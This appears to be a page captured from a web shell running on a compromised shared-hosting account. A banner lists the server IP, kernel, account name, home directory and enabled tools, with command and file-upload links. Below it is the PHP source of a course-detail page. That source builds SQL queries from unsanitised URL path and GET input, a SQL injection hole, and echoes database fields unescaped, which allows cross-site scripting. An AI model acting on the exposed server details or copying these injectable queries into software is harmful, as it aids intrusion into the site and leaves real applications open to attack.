Server IP : 103.53.40.154 / Your IP : 3.135.208.189 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/bsaec.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include ('admin/config.php'); $slug_url = $_GET['title_url']; if(isset($_SERVER['PATH_INFO'])){ $slug_url=$_SERVER['PATH_INFO']; $sqldt = "SELECT * FROM `tb5_courses` WHERE title_url = '$slug_url'"; $rundt = mysqli_query($db,$sqldt) or die("Query Not run"); $datadt = mysqli_fetch_assoc($rundt); } ?> <!DOCTYPE html> <html lang="en"> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <head> <meta charset="utf-8"> <title><?php echo $datadt['meta_title']?></title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="<?php echo $datadt['meta_desc']?>" name="description"> <?php include 'top-link.php';?> </head> <body> <?php include 'header.php';?> <!-- Page Header Start --> <div class="container-fluid page-header pt-2 my-4 mt-0 wow fadeIn" data-wow-delay="0.1s"> <div class="container text-center"> <h1 class="display-4 text-white animated slideInDown mb-4"><?php echo $datadt['course_name']?></h1> <nav aria-label="breadcrumb animated slideInDown"> <ol class="breadcrumb justify-content-center mb-0"> <li class=""><a class="text-white" href="<?php echo $wspath?>">Home </a></li> <!--<span class="mx-3"> |</span>--> <!-- <li class=""><a class="text-white" href="courses.php">Courses</a></li>--> <span class="mx-3"> |</span> <li style="color:white !important" class=" text-primary active" aria-current="page"> <?php echo $datadt['course_name']?></li> </ol> </nav> </div> </div> <!-- Page Header End --> <!-- Courses Start --> <div class="container-xxl courses pb-0" > <div class="container"> <div class="course-img mb-4 fadeInUp" data-wow-delay="0.1s" > <img src="<?php echo $wspath?>img/b.png" class="img-fluid" alt="course-banner" title="course-banner"> </div> <div class="row g-4 justify-content-center"> <div style="box-shadow: rgba(0, 0, 0, 0.24) 0px 3px 8px;" class="col-lg-3 pt-3 mb-0 wow fadeInUp" data-wow-delay="0.1s"> <div class="all-course"> <ul> <h3><a>Related Course</a></h3> <?php $id=$datadt["main_id"]; // include ('admin/config.php'); $sql12 = "SELECT * FROM `tb5_courses` WHERE main_id='$id'"; $run12 = mysqli_query($db,$sql12) or die("Query Not run"); while($data12 = mysqli_fetch_assoc($run12)){ ?> <li class="px-2"><a href="<?php echo $wspath?>detail<?php echo $data12['title_url']?>.html"><?php echo $data12['course_name']?></a></li> <hr class="dropdown-divider"> <?php } ?> </ul> </div> </div> <div style="background:white;" class="col-lg-9 mb-0 wow fadeInUp" data-wow-delay="0.1s"> <div class="course-text"> <img src="<?php echo $wspath?>img/<?php echo $datadt['course_image']?>" class="img-fluid" alt="course-banner" title="course-banner"> <br><br> <?php echo $datadt['course_desc']?> </div> </div> </div> <?php include 'form.php';?> </div> </div> <!-- Courses End --> <?php include 'footer.php';?>